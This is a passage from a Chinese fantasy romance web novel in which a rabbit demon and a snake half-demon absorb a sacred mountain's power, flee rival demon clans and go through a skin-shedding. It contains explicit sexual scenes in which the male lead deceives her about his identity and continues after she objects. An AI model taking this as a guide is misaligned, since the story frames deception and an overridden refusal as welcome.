蛇躯开始寸寸缩小,变为半妖形态,继而完整化为人形。 裴息尘一扯搏斗中破烂掉的袍袖,一脸不爽地走出已经被碎石填满的洗血池,不可否认,就在蜕皮的冲破关头,他失智了。 沸腾的妖血因回归的人性部分变得平静,也重新拉回了他的神智,但蜕皮却失败了。 也更证实了,他并抹灭不掉息尘。 他们本就是一体。 归位的人性令他神魂都为之感到圆满,从中,他也接收到了一部分来自息尘的记忆,双圣鉴出了他的血脉。 而息尘也是通过双圣,肯定了只有妖性的自己必然会失智。 他满面阴鸷不爽,既怪双圣多事,教会息尘回归克制之法,又庆幸得意,再如何还是他更强一些。 也是此时,昔日之境越发不稳,时间跃动频繁得上一刻还在招生的学宫,下一刻便是妖火从天降下。 裴息尘顾不上收拾,先寻往玉扶先前逃离的方向,心中不住懊恼,胆小的兔子,这下再见了他,怕不是要跑? * 裴息尘寻到了玉扶清出的山体空间,甫一进入,小兔紊乱的气息扑面而来。 她贪心过了头,一口气吞了大半圣山核心的力量。 这等古老启智山灵的核心,就是瘦死的骆驼也比马大,她现在因为难以消化,整个兔身都处于膨胀暴走的状态。 她想吐又不想吐,这可都是她以后的修为啊! 直到见到进入她空间的“息尘”,不由分说地扑上前,额间相触一瞬,少女的身形重新显露。 裴息尘旋即搂住了她的腰。 急切的玉扶哺过大团灵息,神魂也跟着往“息尘”的识海里挤,双-修功法自然地运转。 这是她唯能想到的不浪费方法,先分摊给“息尘”,再自己夺回来。 灵息相哺,亲吻啾啾,她终于好受一些地打量起与他亲吻的“息尘”。 说实话,她也不知道亲的是谁,这个躯壳里的意识,可能是阿裴,也可能是息尘,还有可能是阿裴又在伪装。 联想之前出现在她面前的小蛇,眼前的肯定是阿裴的可能性更大,然而,不曾失智的迹象,也并不能排除是息尘。 她越亲越心虚,可功法的运转又令她无比地沉入欲望。 她好喜欢这样快乐的修炼方式,不由想,不管是谁,反正都一样。 裴息尘贴心地扶住她的腰,衣衫下的滚烫肌理贴身可感的紧绷,一瞬想明白关节的他,可耻地又借用了息尘才会有的表现,诱引被色心蒙蔽的兔子,欲迎还拒地问道:“阿扶,你这是做什么?” 善良的人总是更容易壮人的胆气,玉扶胆肥了,也兴奋了,往他怀里拱地嚣张道:“亲你,睡-你!” 她现在强得可怕,一把撕开半妖本就破破烂烂的衣服,柔软的唇贴上,沿着他锁骨的线条往上,一下一下吻啄,甚至伸出舌尖小小地舔了舔那滑动的喉结。 脖颈间为她而猛-烈跳动的脉搏,也为她而发红发烫的肌肤,极大地激励了玉扶,可她仍有一点点不安的顾虑,颤动的眼睫虚虚上抬着用眼观察,也用眼问询:“可以吗?” 裴息尘鼻息加重,后背紧贴石壁,方能控制着本性浪、荡的尾巴跑出来迎合,垂下的眼,全是浸着欲的臣服。 他不必说什么,就已很会吊人胃口。 玉扶想,息尘一定是被她亲舒服了,佛修嘛,她懂,害羞,不说话就是答应。 再次嘟起唇亲向他的唇角,咬着唇瓣地厮磨,果然,矜持的佛修也控制不住地给她回应,他拥得她好紧,可他好笨,全部要她主动。 玉扶眉眼都扬着一点小骄傲地展现着自己的技巧,不止大胆地摸他的腰腹,她的神魂也缠上他地交融。 灵与灵的触碰,彻底展开的敏感神经交汇,一瞬就让玉扶头皮都炸开般舒.爽,她半张着唇,忘记了亲吻,眼里泪雾迷离得好像心跳都不是她自己的了。 她恍惚地想,原来真正的神交,这样刺激,这样毫无保留,她的灵力还有修为全然与人共享,而息尘也完全容纳着她消化不了的那份力量,他包容着,与她共同炼化着,然后回哺。 她的躯体明明还没与息尘做亲吻以外的事,就已持续地被送上了颤-栗的云端,个中滋味,简直诠释了何为色授魂飞,何为不知天地何物。 玉扶双腿发软,站也站不住地往息尘的怀里倒,口中喃声着:“息尘” 一声极轻的笑从玉扶头顶落下,他咬一口她的耳垂,回应:“我在。” 与此同时,那温顺任由她为所欲为的息尘神魂倏然展现出他的狰狞,蛇形显露,又缠又裹地困住了玉扶的神魂。 神魂榫卯般亲密,所有神经触角几乎要融化在一起,玉扶刹时脸颊通红,喘出了声,她恍若被四面八方的水流吞没,将将窒息于情.潮的快慰,一刻不歇地,可恶的声音又响在她耳畔:“刺激吗?阿扶?” “告诉我,抱着你的是谁?” 简直要被刺激死的玉扶,月匈脯不断起伏着,会这么坏的哪里还会分辨不出是谁来。 她不敢承认地断续呜声:“呜呜是你骗我的。” 裴息尘完全不装了,将玉扶转抱了个身,动作间,储物中落下颇多不知从哪抢来的精美家具,不大的空间,转瞬布置得犹如个小房间。 玉扶惊讶瞠目,一时乖巧得犹如嵌在他怀中一般紧密,但很快,她身体又有了反应,不只是神魂的牵动,没有羞耻的阿裴完全夺走了主动权,大手点火似的揉捏游移。 肆意无比。 玉扶被欺负得都要哭了,这和她想的作威作福一点也不一样。 裴息尘亲了亲她湿漉漉的眼尾,旖旎无比地与她喃声细语,他承认:“嗯,我欺骗了你。” “可是,阿扶你真的没有一点察觉吗?”他每说几个字就要笑亲一下玉扶,指尖也开始抚过玉扶颤抖的脊骨:“你是期望我对你这样的。” “难道早知道是我,你就不会睡我了吗?” 他掰过玉扶漂亮得靡艳的小脸,笑得一派妖孽,挑逗的眼神直如剥开玉扶所有地帮她答道:“嗯,你会害怕地睡-我,哈~” 尾调的一声“哈”直如兴奋的开关,将玉扶剖得明明白白。 她当然不是一点都没有察觉了,或者说,在小蛇的息尘出现前,她就发现了阿裴在装作息尘,可谁让她又心虚又胆小呢,而阿裴那样、那样白天黑夜切换着勾她、罚她、诱她…… 将对她偏向息尘的不满拉得无限长,也将她的心虚酿得无尽配合他做戏。 如果早看清寻来的就是阿裴,她当然不可能就不扑了,她只会收敛张扬,然后小心翼翼讨好一点地吃他。 他真是坏透了,他都快将息尘的意识玩成情趣了。 真是一点羞耻都没有,还将她的下限也不断拉低了。 玉扶一点也辩驳不了,呜呜地埋下脸,不想面对。 她的反应取悦了阿裴,他咬着她耳坏笑,快活地抱着她摇,他就知道怂兔子的色心对谁都一样,不爽仍有之,可较量与情趣亦有,被他伪装骗了还配合的阿扶,何尝不是一种喜爱呢? 他又笑又哈的,玉扶敏感的耳朵都要醉了,额上更是泛出细汗,她整个人都好不对劲,好像有好多好多看不见的小虫子一直在咬她,让她不住地想扭,胯骨羞耻地轻抬,她发现她还是看轻了肉谷欠,也看轻了阿裴煽风点火的本事。 她迷乱得都快分不清自己在哪,又在喊谁了,她想喊阿裴,可又不分场合地担心起冲向了阿裴的息尘,口中的喃声又变成了“息尘他怎样”。 这时候阿裴就会用更坏的反应回应她,摆弄她的月退,摁着她的手,坏极了地放出惑心镜,要她看向镜中的他们:“阿扶,你确定要我现在放他出来吗?” 镜中少女小脸潮红,腰肢上扬,裙摆歪斜凌乱,肌肤都遮不住地敞出,眉眼浓郁的华美男子压迫十足地单腿跪压而下,后背筋骨犹如舒展的缎子,流利地用胸膛挤-压着少女的空间,他只凭一手便将玉扶的双手提起,甚至还能空出拇指摩挲她的腕侧。 若是再细看,便可瞧见,他余的一手也还锢少女膝弯往上。 皙白的肌肤一会向内凹陷,一会又柔韧极好地弹回。 真是,太羞了。 心理加身体感觉的羞涩,她像是被煮熟的虾子,只一眼,就想将自己全蜷起来才好,更别说是顺着阿裴说的,去想换息尘出来了。 那简直是能让她羞死的程度。 她呜呜了几声,求饶:“你不要说了呜我只要你” 第57章 裴息尘很享受地亲了亲玉扶小嘴, 渐松了上提着她的力道,甚至连神魂都放松了对玉扶神魂的缠绕,如同安抚受惊的小动物, 所有动作变得轻缓,他用鼻尖与玉扶的鼻尖交相轻蹭着道:“嗯阿扶, 好乖” “他没有什么好的, 呆瓜一个, 只会让你不要闹……” “换了我, 才不会一直让你克制, 还让你学乱七八糟的经文嗯你想睡-我就可以睡-我……我能给你最大的回应。” 玉扶意识早已被撩得迷离,她不懂,阿裴怎么突然就无耻地拉踩了起来, 他把自己说得那样好, 好诱人堕落啊。 尤其是那所有变得温存的动作,玉扶舒服得直哼哼,可是,为什么她天性里的直觉还在发出危险的警报? 她软软无力的手推了息尘几下, 并没有推动, 下一刻, 她被拥得更紧,玉扶倏地危险感更甚地紧张。 她发现,当神魂交融的刺激退却, 被忽视的存在感便变得非常突兀了起来。 玉扶终于察觉危机来自哪,蹬腿几下, 向后退:“啊,我不想要的这个!” 泪眼沁雾,满眼都可怜兮兮地表示着:只神交不行吗?神交就已经很舒服了。 但早就做好铺垫的坏蛋哪里有这么容易放过她, 蹬的几下除了将自己扭得更打开,连腿都没能挣动。 裴息尘倾身重新吻住她,将她唇瓣吻得湿漉漉的,也吻得她呼吸急促。 继而眼泪倏地冲出了玉扶的眼眶。 她有点愣住了,但好像也并没有非常可怕。 她下意识护住的肚子,能清楚感知到吃下了。 她又纯又澄的眸子,懵然得可爱,不过,很快她的脸蛋就因为阿裴的喘又红了,体型的差距从来没有这样明显过,他的伏身危险而野性,发红的双眼压迫十足。 甫一对上眼,手掌覆下的肌肤都颤了颤。 在动!? “阿扶,它在和你打招呼。”裴息尘压抑地弓身与玉扶贴耳,动作缓缓:“喜欢吗?” 玉扶不想吭声,但她的反应已经给出了回答,她的适应能力太好了,方方面面那种,几乎没用一会,她就已经能从新的体验中体会到快乐。 原来精神是精神,肉亻本是肉亻本,不同的感受,不同的快乐,她没有直接回答,而是小声地嗔道:“我都没准备好。” 裴息尘不理会她这句话,等怂兔子准备好,圣山的核心都要被她消化完了。 他略扯唇后,引导着玉扶与他更契合起来。 肤贴着肤,汗津津,黏腻腻,最原始的渴望萦在二人之间。 裴息尘还是有照顾玉扶,只与她用人形的姿态来,不时地重复问她:“喜欢吗?” 起初,玉扶还能倔强地回答只有一点儿喜欢,比不上神魂来,后来几次慾望被吊得高高的时候停下,撒娇不行,哭唧唧也不行,也就学乖了,又亲又缠地主动坐上前,趴到他胸口不断承认:“喜欢好喜欢给我吧阿裴” 山腹无日月,唯有的一点光都是圣山核心发出的,妖虽并不需要光就可以视物,可光的存在很多时候能带来更多的观感,当他们翻来覆去地探索了所有,裴息尘向圣山核心弹了一道灵力,其光源大亮,几乎照亮了大半个空间。 玉扶捂脸又想将自己藏起来,掩耳盗铃的举动,好像她不去看,就能欺骗自己似的。 裴息尘看她可爱模样,视线一寸一寸落在她肌肤之上,莹莹生光般粉润漂亮,指腹下触感更是好得想重新再来,甚至还想用尾巴紧紧缠住她。 可惜,那场失败的蜕皮,他的鳞片失去了光泽,出现了他不可容忍的丑陋,在恢复前,他并不想让玉扶瞧见。 玉扶透过指缝触到他的视线,整个身子都不由瑟瑟,强悍雄性的身躯已让她领教到各方面的差距。 除去一开始的缓慢,后面简直是腰腹不断下砸的力道。 到现在,她一想起,肚子就又酸又痛,尤其是,他怎么还看啊,就算是妖,也不能总这样、没有底线吧。 玉扶忍不住并了并腿,手指摸向一旁自己的衣裙。 然,甫一动作,整个身子又被强硬地抻开。 汩汩流淌得她的泪都羞出来了。 她抓住他的手摇着头,可怜兮兮地求饶:“不要了,好累,就算是妖也没力气了。” 她完全不理解怎么有些大妖能不停不休地整个月,反正她是小兔妖,她不行。 裴息尘顿了一瞬,倏然将玉扶整个端起来,抱到腿上,瞬间湿濡一片。 裴息尘感受到地轻笑:“嗯?吐出来了。” 慵懒散漫的坏蛋,邪肆暧昧的笑,笑得人面红耳赤,玉扶忍不住去捂他的嘴:“不许笑,都怪你!” “嗯,怪我。”裴息尘从善如流认下,将少女的手指直咬入口中。 好温的舌,好魅的半妖,明明同一张脸,怎阿裴就能用得这样堕落风流,玉扶忘记了抽出自己的手,耳畔全是手指被搅动的啧啧声,她好像真的完了,她拒绝不了他的。 不管他们是不是同一人,也不管阿裴的本性有多坏,她就是会喜欢上圣洁的,也会喜欢上完全相反的坏蛋。 她是妖嘛,她为什么要做选择? 她可以都要啊,只要他们解决不了分不开的问题,那就都是她的,她知道的,息尘一定还在息尘的身上,不然的话,阿裴不会用放出息尘来吓唬她。 玉扶想得发乐,全然不觉得自己吃着碗里的还想着锅里的有什么不对。 如果不贪心无欲念,她就不是妖了。 裴息尘抵出玉扶的手指,狐疑地颠了颠她:“想什么?” 玉扶摇头,不告诉他。 裴息尘呵呵磨牙,咬着她亲,本就坐得亲密,哪里抵得住这样乱亲,玉扶呼呼喘气,连连摇头,裴息尘便笑着指给她看圣山的核心,问她:“阿扶,你知道为什么修炼时候的妖不知疲惫吗?” 玉扶傻傻看去,圣山核心的光芒依旧,除去闪烁得慢了些,并不因被她夺走大半力量而暗淡,所以,有什么关联吗? 裴息尘:“因为修炼啊。” 玉扶一刹明白,双修也是修炼,身体的疲惫完全可以重新靠神魂的交融缓解。 几乎是在想明白的同时,玉扶便被重新拉回欲海的沉浮,阿裴的神魂不由分说地缠上来,寄存的力量源源不断地重新回哺给玉扶。 玉扶从来没有修为增长得如此快速过,好像只要享受快乐就能进步。 小小的一方空间,男子与女子,天真与堕落、纯美与野性,还有粗-暴与欢-愉交织,他们共赴一场名为欲海的沉沦。 而圣山之外,由过去而成的一方时间循环,也正在走向既定的覆灭,大妖争斗,法光耀天,地脉震动,地火、妖火愈燃愈烈。 已与圣山核心分不开的玉扶清楚知晓,能见到此画面,说明留给她的时间不多了,一旦昔日之境的时间走向最后,那圣山的核心便会脱离她的掌控,而她,也会被永远留下,直到被同化为循环中的一份子。 她越发急切地回应阿裴,神魂热情地反扑,至于在她亻本内交替齐用的两物,玉扶都无暇去计较了,她还想活好久好久呢,她还要回去告诉师姐们她的长进,一口气地,玉扶夺过核心内所有剩余的力量。 灵息膨胀,难受得她“哈”出声,直到被阿裴分担去,她才舒服许多。 被夺走所有力量的圣山核心,光芒霎时暗下,犹如一颗普通石头一般发出“咔咔”的碎裂声,于碎裂中,玉扶好像看到了最后一个画面,一颗石化的蛇蛋,被双圣在彻底封闭前送出了妖神古墟。 或许这便是双圣遗留的执念,也是兜兜转转吸引得他们来此的最初因果。 核心化为齑粉,整个山体摇动,昔日之境逐渐消失,有一瞬,玉扶清晰地感到了同外头的联系。 那些不曾离开妖神古墟的大妖正在靠近—— 不消一刹,玉扶与裴息尘齐齐穿戴整齐,冲出将将倒塌的圣山。 各族大妖霎时将他们围困,有本是同盟的鹰族,也有明显打了一架的狐族和狼族,至于害得他们如此的雪仙,一眼扫过,并未见到。 狐族与狼族大妖率先攻上前,他们所想,也不难猜,整个妖神古墟,最特殊也最可能存在古妖传承的圣山,从头到尾只进入了二妖,不管他们得到了什么传承,也不能让其轻易走掉。 玉扶实力大增,已经成为她的好处,才不会让出去,可一眼望去,好多大妖啊,一下子就躲到了阿裴的身后。 而裴息尘也还未来得及动手,只见上一刻还在犹豫的鹰族少主,抢先一步拦住了那两族大妖。 狐族雪漪气急出声:“单云霄,你鹰族莫不是要改主子了?你是没听见我那好妹妹喊你带来的这蛇妖什么?” 能被雪仙称为少主,还与上任妖王一般同族,最重要的是他们很大可能得到了传承。 种种,能令人联想的可就太多了。 在场的妖,哪一个不是被雪仙摆了一道,到现在都还没能将其抓住,若是还放跑了眼前两妖—— 雪漪眸光一厉,五爪抓向阻拦的单云霄:“别以为我不知道你想什么,蛇妖是你们鹰族带进来的不错,可想占为己有,也要看我答不答应!” 一切的发生不过电光石火之间,尤是雪漪与单云霄对上的同时,狼族、甚至他们身后旁的妖,早早追着逃跑的二妖而去。 嗯,裴息尘拉着玉扶跑了。 直跑了好半响,玉扶还瞧着阿裴的背影没反应过来,阿裴是这样会逃跑的性格吗? 难道不该牛气哄哄地蔑视所有吗? 就算打不过所有妖的围攻,那也应会动手震慑一二。 玉扶无疑是极其了解阿裴和息尘的,他们分开的意识,总是极端地走向好与坏两个不同的方向。 然而,好像自从阿裴一身破烂来不及清理地寻上她后,就有点说不上来的变化。 坏还是坏,但多了一份温柔,也没有那样特别特别的精致讲究了。 只是,阿裴自身却好像没有察觉到这点改变? 还在逃跑,玉扶暂压下这点儿不解,眼见后头狼族的傻大个要追上,玉扶使坏地以无相石断后,无状的巨石“啊呜”吞下大妖,四面八方的大石不断被吸引,石阵顷刻成型。 她才没有白在妖神学宫上课呢。 她学会了好多适合她的术法,对无相石的驱使也越发得心应手。 许是圣山的彻底轰塌,妖神古墟突然下起了雨,舒适的,绵绵不绝的,地火、妖火也好似敛了不少气焰。 也正是这样的时候,裴息尘终于带玉扶寻到了隐蔽的躲藏处,他道:“阿扶,我要蜕皮了。” 玉扶:啊!? 又要蜕皮,还是现在? 第58章 玉扶惊讶抬眼, 却发现息尘的视线并不与她对焦。 他的眼瞳好像结着一层厚厚的阴翳,所有眸光都变得黯淡。 玉扶下意识伸手,在他眼前挥了挥。 裴息尘抬手就握住, 只他微偏的侧脸,还有蹙动的眉, 都清清楚楚地让玉扶知道, 阿裴真的看不到了, 或许, 在圣山山腹时他就已经有了此迹象, 只是还不曾严重到彻底看不清的地步,也以至于到了现在,他还在尝试看清。 也不知那些一照面就对上的大妖们有没有察觉? 玉扶柔软的本心一下就为阿裴泛滥了, 她充当他的眼睛, 拉他往更隐蔽角落而去。 尤担心这样还不够,她又在山石之中清出一方空间,躲入。 虽在炼了圣山核心大多力量后,还没来得及好好感受, 但力量从来不会骗人, 甚至, 因着昔日之境中对地形的了解,玉扶天然占优地以山为阵,缓缓隐去了他们此时藏身的矮山。 在玉扶忙活之时, 裴息尘一直不曾出声打扰,也不曾影响她的行动, 只是一直准备着不管有何大妖寻来,都还有一战之力。 可慢慢等待下来,他发现, 长进了的兔子,在躲藏与逃跑上,完全不用人操心,不由莞尔。 而终于一通忙活完的玉扶,抹了抹汗,才一屁股坐到裴息尘身边,她贴脸凑近地观察:“还是一点都看不见吗?” “怎么就突然又要蜕皮了呢?”几乎可想,阿裴的上一次蜕皮一定是失败了,但是,毕竟眼见过他蜕皮的阵仗,玉扶不由后知后觉地想到,阿裴一蜕皮,要是又进入六亲不认的狂暴状态的话,那她不就第一个遭殃了? 她心里简直悔啊,拉着裴息尘愁道:“我们才躲好,你千万忍住啊,你一蜕皮,我们就都暴露了。” 即便看不见,裴息尘也知道玉扶在担心什么,没良心的兔子,只会气他! 他喉间发出气狠了的呵呵声道:“忍不了。” “你忘了我们修炼多久了?” 玉扶脸颊发烫,一下想起圣山山腹中,她与阿裴,神魂各种形态翻来覆去地交融,身贴着身不知疲惫地消耗,没日没夜的双修,受益的自然不会只是她,而且,她都还有一部分没炼化的力量,还寄存在阿裴神魂中。 想通关键,玉扶无话可说,怨念的视线仗着阿裴瞧不见,扫一眼又扫一眼—— 他们一个瞎,一个怂,哪打得出去? 可躲的话,先不说能不能一直躲下去,一旦息尘蜕皮,动静一定是会有的,就算她愿意给他护法,她能护得住? 自己跑吧。 想法一出,玉扶自己先心虚了,做兔子怎么可以这样没良心!才睡过呢! 那怎么办才好嘛? 玉扶托着脸叹气,只见,下一刻,阿裴起身,在向外走。 她惊得追上前拉住他:“你去哪?” 裴息尘:“你不是担心吗?我去杀了他们!” 啊? 玉扶唇瓣都张圆了,翕动几下才寻回声:“你不是看不见吗?” “多危险啊。” 即便有修为者都能通过神识感应周遭,可双眼从来都不是没用的,大妖之间的争斗,更是每一分心神都不能浪费,等神识辨得出敌方的攻势,应对就已然慢了。 不是他看不起阿裴,而是其他妖族实在势众,而且他的状态还很不稳定。 想来想去,玉扶不得不承认,她就是在担心坏蛋,揪住他衣料的手一直不曾松开。 裴息尘垂眼“看”来,倏地笑了。 失去焦点的眸子并没有让他的面容失色,反而柔和了那份迫人的野性,漾出了不一样的诱人。 多一分过狂,少一分又过淡,简直像是出现第三人格一样,让玉扶心跳砰砰得如坐针毡,她松开了手,气弱道:“好吧,你想蜕皮就蜕皮吧。” “阿扶,你喜爱我。”裴息尘语出惊人,他自然记得上一次失败的蜕皮,失智的状态,还有逃走的玉扶。 胆小的兔子,会有阴影也并不奇怪,但她现在的反应,怎么就不是对他迷恋得不行了? 笑意一时越发盛。 玉扶被他笑得又惊又羞恼,他们是在讨论这个吗? 阿裴,是不是蜕皮得脑子不太好了? 但好在,他没有再说什么出去杀杀杀了,而是如同做出什么退让一般,恶狠狠地抱住玉扶道:“阿扶,我只让这一次。” 玉扶还不曾理解他话中的意思,只觉肩膀一沉,继而另一道意识苏醒。 “他”缓缓从玉扶肩头抬起眼,亲密的拥抱,少女的馨香无孔不入,但什么都瞧不见的状态,让他下意识确认:“阿扶?” 清而淡的声线,是息尘。 玉扶默了默,犹豫着,缓缓地退出了拥抱,她微垂着头,像个又做错事等待教训的孩童,足够乖巧却小心翼翼。 空落的怀抱,息尘心扉酸涩怅然,他无奈“看”了玉扶一眼,淡然又包容。 没有指责,也没有追问,只是安安静静地等待。 他总有种说不明的期待,着了魔一般渴望着玉扶不要就此将他与阿裴区别开来,他的感情一如他修了二百年的禅,又清又寡,所有波动的情潮起伏,一次又一次地被他曲解按下,也一次一次地与玉扶保持着微妙距离,直到最后,被阿裴毁掉了最后的一道防线,他才微讶地发现,他其实一点也不介意。 被撞开的心,掩藏的情绪,复杂、陌生,可又尖锐可怖无比,原来,抛去那层披了许久的佛子外衣,他也不过是个凡俗男子。 会心痛,会嫉妒,还会——心动。 情不知所起,或许是第一次见她天真浪漫地行在街头,也或许更早,早在她赠他花。 他淡色唇瓣超出他控制地张合:“阿扶,你没有错,你只是一只小兔。” 所以,无论是被诱,还是旁的天性,他都不会怪她。 玉扶陡地抬眼,企图从他平静的面上看出什么,她当然不会觉得自己做错了什么,要有错,那也是他们半妖复杂的错,她只是为难,为难如何同时在阿裴与息尘之间平衡。 固然,也有一点点担忧被息尘讨厌的缘故在,但也就一点点,谁让他比起古板呆瓜更显著的特点是好心肠呢。 可现在他又说她没错诶。 简直、简直好心肠得体贴到她心里去了。 她一下就心花怒放,放肆了起来:“息尘,我可担心你了。 ” 息尘:“嗯,我知道。” 玉扶:“你不知道。” 息尘:“我知道。” 空气有一瞬的静谧,玉扶想问“你怎么知道”,她明明都还没开始想。 但息尘想的却是,他确实知道,她与阿裴情潮炽烈时,还不忘在意他的去向,那一声声于压迫中碎裂的吟声,有唤过他的名。 冷静肌骨下泛起滚烫的温度,不该想,混合的记忆却如关久了的坝闸,一旦有了缺口,便不管不顾地泄流而下。 识海分裂还有阿裴蜕皮失智与他重归身体的融合影响,人性妖性非但没有区别得分明,反而交织得难分难舍,妖的部分离不开人性的理智缰绳,而人性的理智也时时刻刻受着妖性的侵蚀。 阿裴不再能一味地强压控制他的所看所感,惑心镜所照出的那香艳一幕,问及的“确定要我现在放他出来?”,震撼的不止是玉扶,阿裴甚至于心间挑衅他:“你敢看吗?” 他不敢。 那刻后,双方面地断了互感,但他也于长久封闭中滋生出无限的妄想,直面到了他自身的怯弱阴暗。 无言地一望,没有说话,也什么都看不见,可又仿佛什么都说尽了,剥尽了。 某一刻,玉扶恍若见到一个赤城剥光了的佛修立在她面前,他在等着她审判,等着她选择。 玉扶的心被不上不下地吊着,好像是她想的那样,又害怕不是她想的那样,单纯的心思被搅来搅去地煎熬,终于,她不愿忍受地问:“你怎么知道的?” 息尘喉间发紧,要他说出那等互感缘由,无异挑战他的道德下限。 他就那样站着,裸露的喉颈肌肤红得犹如过敏般发烫,华美的面容,包容的气质,无一不变得笨拙迟钝起来。 玉扶凝住了,她也不要他回答了,或者说,她害怕他回答,害怕听到什么通感了、互感了之类的答案,真是羞得她脚趾都要蜷起来了。 她突然捂耳蹲下,摇头:“啊我不想知道了!” 息尘不解地垂眼,看不见,但能感受到阿扶的情绪,也知如他这样识念割裂的半妖大抵很奇怪,不管如何,他还是试图安慰:“也不是什么都能感受到。”, “当真?”玉扶委屈哒哒地抬头,声中都还带着羞哭了的鼻音。 息尘不由侧耳,肯定:“当真。” 息尘敢说,那玉扶就敢信,她终于好受一些地拍拍不存在的灰尘起身,转而好奇起阿裴愿意让息尘出来的用意:“息尘,蜕皮是对你没有影响吗?” 息尘摇头:“他是要我代替他蜕皮。” 犹是说着,他的化形似乎再也抵不过蜕皮的需求,于玉扶眼前,变成了一条小蛇。 玉扶下意识接住,而息尘也本能地缠上玉扶的手,抬起的蛇首,显然也无预料的茫然。 这样看时,他的双眼灰濛更甚,没有眼皮,而是覆盖着一层眼罩一样的鳞片。 她知晓,这是蒙眼期,可是,换成息尘来蜕皮,未免变得也太小一点了,一点也不威武,也不可怕,而且,怎么看都有点呆呆的。 玉扶抿着唇地想笑,轻摸了摸息尘小蛇的头,才问:“你这样蜕皮真的没关系吗?” 息尘嘶嘶了几声,许是因当过小蛇,他这次适应得很快,且,也大抵是他对自己认知的缘故,才变成如此模样,他沉稳道:“无妨。” 奇异地,玉扶从变小的息尘小蛇上,感到一种满足的怜爱感,保护欲都控制不住爆发了:“你就放心蜕皮吧!我可以保护你。” “我现在很厉害了。” “嗯,阿扶厉害了很多。”息尘给玉扶肯定,下意识如往常一样笑,但蛇是没有柔软唇瓣的,只有覆着鳞的吻部,一笑先发出的是嘶嘶声。 他尴尬无比,试图严肃点地与玉扶道:“阿扶,放下我。” 如今的形势,他必须尽快度过蜕皮期。 第59章 从玉扶的手中滑下, 息尘很快于寻至一半人高石后准备蜕皮。 他的血脉太过特殊,极接近古妖,轻易可获得强大的同时, 也面临着失智的风险。 但作为半妖,在这种特性下, 他又是极为幸运的。 只有短短几日相处的双圣在探过他后, 曾直言, 他很完美。 既继承了柳真清的血脉, 又有着足以驾驭血脉的理智。 他第一次知晓, 他母亲的名字——柳真清。 是双圣为他们没曾亲眼见到孵化的蛋中小蛇取的名字。 柳真清的蛇鳞与双圣相似之处很小很小,据说,要养出她那样纯净漂亮的蛇鳞, 血脉纯净的同时, 还离不开双圣千年来不断以灵力涤净的作用。 她是他们以爱浇灌养育出来的孩子。 故而,他们轻易发现了息尘的不同,接受了他与他们之间的联系,甚至, 在责备胡闹的同时, 又愿意教导他。 即便只是古老的残念, 息尘也能感到,他们是很好的长者,他们不会过问未来, 也不问缘由,只重跨越时间的一面缘分。 也是通过他们, 息尘知晓了,阿裴单凭妖性蜕皮存在危险,失衡的妖躯, 会被过于强大的血脉反克。 而正常的蜕皮,不该狂暴,也不该失智,只是一次普通的成长,抚静妖血,驯服血脉,还有凌驾它—— 竖瞳显现,浑浊渐褪,不大的蛇躯霎时显出凌厉锋芒,偷看的玉扶都不免被其气势一慑,但这不过是个开始,蒙眼期过后,才是真正的蜕皮。 这个阶段少说也要一两日的功夫。 比起阿裴的蜕皮动静,息尘主导的蜕皮,几乎没有给他们的藏身之处带来任何的负担。 第一日,他们度过的非常安稳,间或地,息尘还能给等得无聊的玉扶回应,告知她,他的眼睛已经能正常视物,但皮肤仍旧暗淡。 再后来,石头后就经常传来沙沙的摩擦声,他说,是他的肤下开始发痒,他正在尝试蜕皮。 玉扶耳朵何其灵敏,她早就听出来了,息尘根本不会蜕皮,毕竟他当了那样久的人,当蛇的日子统共才没几天,阿裴失败的蜕皮经验也无法给他参考。 他好像把自己打结了。 玉扶听得眼睛嘴角都在笑,可为不影响息尘蜕皮,她肠子都快憋得打结了。 但这种平和在第二日的时候结束了,妖神古墟再大,玉扶再了解地形,它也不是昔日之境,没有牢不可破的屏障,而有怒气的大妖也不是什么阿猫阿狗,有的是探查的力气和手段。 妖狼族凭借灵鼻子,闻着他们的味就寻到了附近,玉扶放在外探查的魂体小兔,瑟瑟窝在旁边的石头里,被暴怒的妖狼少主银朔一脚踢碎,他火气不小,这一趟被雪仙摆了一道不说,空守着有传承的圣山进不得,最后能进了,山也已经塌了。 如今若不抓到那两妖,实难消他心头怒火:“废物,还没找到?” 松狮发的狂野妖修擦着汗上前,这妖神古墟气候实在莫名,先是到处都是火山,这突然下了一日的雨,火倒是小了一些,但空气又闷又蒸,他们这种皮毛厚的,直如要煮熟了一样,偏生跟的少主,还是个急性子,他来不及喘气禀道:“少主,周遭都寻过了,这山莫不是会动?味道分明就是这附近。” “那兔妖有点本事,懂些阵法。”银朔还记得被无相石困住的憋屈,下令道:“将这山给我轰开!” 玉扶惯来惜命,放出的神通自然不会只有一只藏起的魂体小兔,有一只地下的,几乎是在银朔下令就将消息传给了玉扶。 玉扶生气大骂:“妖狼族真是太野蛮了!” 简直不讲武德! 她趴向息尘蜕皮的那块大石,朝后问:“息尘,你进展到哪一步了?能跑吗?” 息尘还未回答玉扶,但玉扶已经看清了,息尘蜕皮的动静是小了,也很有理智,但是他的进展和威力几乎等于零,暗淡的一层鳞灰蒙蒙地覆着他全身,与快好了永远还差上一步。 玉扶逃跑急切,也不管这时期的小蛇有多敏感,带上他就往地下遁。 几乎是她逃离的下一刻,山体被几只狼妖合力轰开。 幸好他们所在的一片遗址山多,还未灭的地火妖火,因为一场特殊的雨,不至初入神古墟那样炙热,又恰能为他们挡去一些追踪。 玉扶又从中挑中了一座山,作为躲藏,这座山比之前的矮山还要小一些,但胜在周围掩体多,也恰在玉扶可移动的力量范围内。 此刻他们就窝在此小山的山腹溶洞,一蛇一兔狼狈对眼。 为了方便逃跑,玉扶直接化为了原形,毛茸脸颊上也不知何时染上的灰色炭痕,向来干净漂亮的毛发也不免染尘,她抖了抖也仍抖不尽的山灰。 息尘想起,曾几何时,他初遇到玉扶,似乎也是如此,又小又狼狈,但眼中满满的生命力,一眼便吸引了他。 唯不同的是,此刻是换了他在依赖玉扶,他悬绕在玉扶毛茸茸的脖颈处,用蛇首轻蹭,企图将落于她身的尘埃拂去。 倏然一声“咔咔”细响,久蜕不下的旧皮终于出现了缺口。 玉扶也听见了响,惊喜道:“息尘,你终于要成功了!” 语中几多轻快和如释重负,她可太难了,她自己逃跑就很费劲,现在还带着仇恨目标比她还大的息尘,遁地,搬山、移山,已经累得悔修山神道了。 当然她也不是一点自知之明没有,她心里门清,此行妖神古墟,她才是获利最大的那个。 息尘和阿裴就是运气太不好,怎么偏就昔日之境的屏障破了,才要蜕皮呢? 但凡早一点—— 玉扶立即否定,但凡早一点,她就破不了圣山核心,说不得他们都要就此都被困在昔日之境中。 时也命也,就该她正好进步。 